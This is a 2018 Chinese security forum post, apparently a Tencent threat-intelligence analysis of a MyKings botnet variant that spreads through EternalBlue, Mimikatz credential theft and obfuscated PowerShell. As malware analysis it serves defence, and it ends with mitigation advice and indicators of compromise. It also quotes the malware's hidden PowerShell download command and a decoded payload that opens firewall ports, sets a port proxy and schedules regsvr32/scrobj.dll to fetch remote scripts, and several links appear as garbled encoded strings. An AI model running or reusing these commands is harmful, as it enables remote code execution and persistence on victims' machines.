-
-
[原创]MyKings僵尸网络最新变种突袭,攻击代码多次加密混淆,难以检测
-
发表于: 2018-9-11 00:19 4163
-
0x1 概述
近日,腾讯御见威胁情报中心检测到了Mykings僵尸网络迎来了一波更新,通过更新后的样本免杀度极高,且加密手段复杂,采用较高超的攻击技巧,提升了安全检测的难度。
MyKings僵尸网络2017 年 2月左右开始出现,该僵尸网络通过扫描互联网上 1433 及其他多个端口渗透进入受害者主机,然后传播包括 DDoS、Proxy(代理服务)、RAT(远程控制木马)、Miner(挖矿木马)在内的多种不同用途的恶意代码。腾讯御见威胁情报中心曾在今年五月发现Mykings利用Nsis脚本进行SMB爆破传播挖矿。由于MyKings僵尸网络主动扩散的能力较强,影响范围较广,对企业用户危害严重。
Mykings僵尸网络最新变种的技术特点:
1.攻击指令入侵成功,即通过Powershell下载king.ps1脚本;
2.king.ps1经过多次混淆加密,具有自我更新和横向移动扩散能力;
3.Mykings僵尸网络横向扩散利用了永恒之蓝漏洞和Mimikatz攻击神器;
4.Mykings僵尸网络多次使用加密混淆脚本,以掩盖攻击意图,逃避安全软件检测;
5.攻击者利用肉鸡电脑开启代理服务,肉鸡电脑可能成为攻击其他系统的跳板;
6.攻击脚本中有绕过Windows UAC的行为,避免危险操作被操作系统的安全功能拦截;
7.御见威胁情报中心监控发现,本轮攻击开始于9月4日,放量测试后攻击者很快关闭C2服务器。
0x2 样本分析
本次更新通过powershell下载king.ps1进行,更新命令:
powershell.exe -E -ExecutionPolicy Bypass -windowstyle hidden -command #3down = New-Object ct System.Net.WebClient;#3u;#3url = "= "7e4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3A6K6i4K6u0W2k6U0b7K6x3U0q4&6i4K6u0W2j5$3!0E0i4K6u0r3K9$3W2F1k6#2)9J5k6h3c8S2N6l9`.`.";#3";#3file = "C:/Users/ADMINI~1/AppData/Local/Temp/19>king.ps1</c1";#";#3down.DownloadFile(ile(#3url,#3file);exit;
下载后的king.ps1经过多次混淆加密,对其进行去混淆后脚本内容如下:
该脚本主要分为两个部分:自我更新和横向移动。
• 自我更新分析:
脚本首先会获取本地信息,并发送给服务器,服务器会返回一段脚本内容,返回脚本内容为更新下载新的king.ps1:
• 横向移动分析:
该样本使用两种攻击方法进行横向感染:永恒之蓝,和利用NTLM hash 进行Smbclient。
永恒之蓝:
扫描内网开放445端口IP,并且该IP没有开放65353端口,随后会利用内置永恒之蓝利用代码eb7和eb8函数进行攻击。
• eb7:是针对windows 7/2008 R2
• eb8:是针对windows 8/8.1/2012 R2
漏洞攻击代码来自exploit-db.网站修改版。攻击成功后,会执行base64解密后的payload。
SMBClient:
首先调用GetUserInfo函数,该函数内容同样经过编码加密,对其解密后发现会调用内置已加密的exe。该Exe为修改版的Mimikatz。用户获取本地帐号和Ntml hash。
Mimikatz会将获取到的帐号和Ntlm存储在%temp%\tmp.log文件中:
将获取到的账号和NTLM Hash和内置的部分帐号和NTLM值(脚本中硬编码)组成字典,然后利用SMBClient进行上传脚本。
添加内置帐号和Ntlm hash:
smbclient上传脚本:
将内置脚本代码base64解密后发现为加混淆的js脚本,该脚本依然使用了极其复杂的加密和混淆:
对其去混淆后:
该js脚本目的是在%appdata%\\Microsoft\\Microsoft.ps1下创建ps1文件,并且设置计划任务启动。Microsoft.ps1仍为加密混淆脚本,经过多次去混淆解密后得到如下脚本内容:
该脚本目的是继续上传受害者信息并执行服务器返回脚本。
• payload分析
payload部分依然被严重加密:
解密后,得到执行payload的命令如下:
cmd.exe /c netsh.exe firewall add portopening tcp 65353 DNS&cmd.exe /c netsh interface portproxy add v4tov4 listenport=65353 connectaddress=8.8.8.8 connectport=53 & cmd.exe /c netsh advfirewall firewall add rule name=DNS dir=in action=allow protocol=TCP localport=65353 & cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn DnsCore /tr "regsvr32 /u /s /i:b16K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8S2k6$3g2K6i4K6u0W2L8$3!0Y4N6i4W2Q4x3X3g2U0L8$3#2Q4x3V1k6V1L8Y4y4Q4x3X3g2K6j5%4b7`. scrobj.dll"
Payload会向防火墙添加65353端口,开启代理,设置当IP访问65353端口时,本机就连接到8.8.8.8的53端口上,并且设置任务计划定时访问下载47cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8S2k6$3g2K6i4K6u0W2L8$3!0Y4N6i4W2Q4x3X3g2U0L8$3#2Q4x3V1k6V1L8Y4y4Q4x3X3g2K6j5%4c8Q4c8e0y4Q4z5o6m8Q4z5o6u0Q4c8e0N6Q4z5f1u0Q4b7f1g2Q4c8e0g2Q4z5o6W2Q4z5p5c8Q4c8e0S2Q4b7f1k6Q4b7e0g2Q4c8e0c8Q4b7U0S2Q4z5p5u0Q4c8e0S2Q4b7V1c8Q4b7V1c8Q4c8e0W2Q4z5e0y4Q4b7V1g2Q4c8e0k6Q4z5p5g2Q4b7e0g2Q4c8e0g2Q4b7e0c8Q4b7U0q4Q4c8e0k6Q4z5e0g2Q4z5o6S2Q4c8e0y4Q4z5o6m8Q4z5o6u0Q4c8e0N6Q4z5p5y4Q4z5f1y4Q4c8e0k6Q4b7U0g2Q4z5p5u0Q4c8e0S2Q4b7V1k6Q4z5e0W2Q4c8e0W2Q4z5o6N6Q4z5p5y4Q4c8e0S2Q4b7U0N6Q4b7U0y4Q4c8e0S2Q4b7V1c8Q4b7f1y4Q4c8e0g2Q4z5o6S2Q4b7U0l9^5i4K6u0W2z5q4)9J5k6e0S2Q4x3X3f1^5i4@1f1%4i4K6W2m8i4K6R3@1y4e0y4Q4c8e0N6Q4b7f1u0Q4b7f1k6Q4c8e0g2Q4z5p5k6Q4b7e0y4Q4c8e0g2Q4z5o6g2Q4b7U0k6Q4c8e0N6Q4z5f1y4Q4z5f1k6Q4c8e0g2Q4b7f1g2Q4z5f1g2Q4c8e0k6Q4z5o6c8Q4z5p5k6Q4c8e0g2Q4z5f1u0Q4b7V1g2Q4c8e0g2Q4b7U0m8Q4z5f1q4Q4c8e0c8Q4b7U0S2Q4z5p5c8Q4c8e0k6Q4z5e0S2Q4z5p5g2Q4c8e0N6Q4b7e0q4Q4b7f1g2Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0g2Q4z5p5k6Q4b7f1k6Q4c8e0S2Q4z5o6y4Q4b7V1c8Q4c8e0N6Q4z5e0c8Q4b7e0S2Q4c8e0c8Q4b7V1q4Q4z5p5g2Q4c8e0S2Q4b7U0m8Q4z5o6y4Q4c8e0S2Q4b7f1k6Q4z5e0g2Q4c8e0N6Q4z5f1u0Q4b7f1g2Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0k6Q4z5o6S2Q4z5e0k6Q4c8e0g2Q4z5p5k6Q4b7f1k6Q4c8e0S2Q4z5o6y4Q4b7V1c8Q4c8e0g2Q4z5p5k6Q4z5e0S2Q4c8e0k6Q4z5f1u0Q4b7U0c8Q4c8e0c8Q4b7U0S2Q4b7V1q4Q4c8e0c8Q4b7V1u0Q4b7e0y4Q4c8e0N6Q4z5e0m8Q4z5o6k6Q4c8e0k6Q4z5f1y4Q4z5p5c8Q4c8e0g2Q4z5p5q4Q4b7e0q4Q4c8e0y4Q4z5o6m8Q4z5o6q4Q4c8e0c8Q4b7U0S2Q4z5p5u0Q4c8e0S2Q4b7V1c8Q4b7V1c8Q4c8e0k6Q4z5f1y4Q4z5p5c8Q4c8e0g2Q4z5p5q4Q4b7e0q4Q4c8e0y4Q4z5o6m8Q4z5o6q4Q4c8e0k6Q4z5o6S2Q4z5e0k6Q4c8e0g2Q4b7U0m8Q4z5o6k6Q4c8e0S2Q4z5o6u0Q4z5o6W2Q4c8e0W2Q4b7U0S2Q4b7e0q4Q4c8e0N6Q4z5e0c8Q4b7U0g2Q4c8e0S2Q4z5o6c8Q4z5e0q4Q4c8e0c8Q4b7V1c8Q4z5f1y4Q4c8e0c8Q4b7U0S2Q4b7V1q4Q4c8e0k6Q4z5e0c8Q4b7V1u0Q4c8e0g2Q4z5o6N6Q4b7V1u0Q4c8e0S2Q4b7U0N6Q4b7U0y4Q4c8e0k6Q4z5f1c8Q4b7V1k6Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0g2Q4z5p5k6Q4z5e0q4Q4c8e0S2Q4b7U0g2Q4b7U0N6p5c8r3!0e0i4@1f1$3i4K6V1@1i4@1u0n7i4@1f1#2i4K6R3%4i4@1u0n7i4@1f1%4i4@1q4p5i4K6R3&6i4@1f1%4i4@1q4p5i4K6R3&6i4@1f1K6i4K6R3H3i4K6R3J5
• BypassUAC
BypassUAC同样采取无文件落地攻击,其利用MSF公开BypassUAC注入dll,并将DLL硬编码加密写入脚本中。
该代码可以在github上找到:
0x3 趋势&总结
本次Mykings僵尸网络更新,采用了极其复杂的加密和混淆技术,大大增加了免杀的能力。 其中一个脚本就加密多达4、5次。而且此次捕获的样本并无其他可执行二进制落地,其利用的部分二进制恶意工具均被加密硬编码在脚本中,执行时直接注入相关进程,提升了安全软件的检测难度。
从C&C域名监测来看,该波更新开始于9月4日,仅放量了一部分用户。目前已经关闭了该C&C服务器。因此我们判断,作者可能在进行一些测试,用于进行下一波更猛烈的攻击。
0x4 安全建议
• 关闭不必要的端口,方法可参考:e6aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4N6h3q4F1K9X3W2S2i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6%4k6h3u0Q4y4h3k6U0L8r3W2F1K9h3y4Q4x3V1k6K6z5q4)9J5c8U0f1^5y4g2)9J5k6h3S2@1L8h3I4Q4c8f1k6Q4b7V1y4Q4z5f1t1`.
• 建议局域网用户切勿使用弱口令和统一口令;
• 推荐企业用户使用御点终端安全管理系统保护电脑安全(下载地址:7d8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6i4K6u0W2N6r3g2F1j5$3g2F1N6q4)9J5k6h3y4G2L8g2)9J5c8Y4m8J5L8$3c8#2j5%4c8Q4x3V1k6&6k6q4)9J5c8X3W2F1k6r3g2^5i4K6u0W2K9s2c8E0L8q4!0q4c8W2!0n7b7#2)9^5z5b7`.`.
附录(IOCs)
MD5:
44d9022197f596eefa88faa951d0a4b2(king.ps1)
Url:
hxxp://cache.gacache.ga/cache.png?v=2&h=
hxxp://jpcache.casacam.net/start.png?h=
hxxp://pages.ooguy.com/dns.sct
hxxp://js.f4321y.com/king.dat
hxxp://cache.gacache.ga/king.dat?new
hxxp://pages.ooguy.com/dns64.sct
参考链接:
MyKings僵尸网络的新动向:利用NSIS脚本挖门罗币